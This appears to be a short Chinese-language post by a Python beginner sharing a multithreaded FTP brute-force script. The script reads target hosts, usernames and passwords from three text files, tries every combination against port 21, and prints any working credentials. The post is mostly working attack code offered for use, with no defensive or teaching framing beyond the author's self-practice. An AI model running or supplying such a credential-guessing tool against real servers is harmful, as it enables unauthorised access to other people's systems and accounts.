初學python, 自己編寫了個FTP多線爆破小腳本
代碼很丑= =
#!usr/bin/env python #!coding=utf-8 __author__='zhengjim' from ftplib import FTP import ftplib from threading import Thread def Login(host,username,password): ftp=FTP() try: ftp.connect(host,21,1) ftp.login(username,password) ftp.retrlines('LIST') ftp.quit() print '破解成功,用戶名:' + username +',密碼:' + password + ',IP:'+ host return True except ftplib.all_errors: pass host=open('host.txt') for line in host: host=line.strip('\n') print '破解主機:' + host user=open('user.txt') for line in user: user=line.strip('\n') pwd=open('pwd.txt','r') for line in pwd: pwd=line.strip('\n') t=Thread(target=Login,args=(host,user,pwd)) t.start()
目錄下需要host.txt,user.txt ,pwd.txt三個文件。
還需努力!!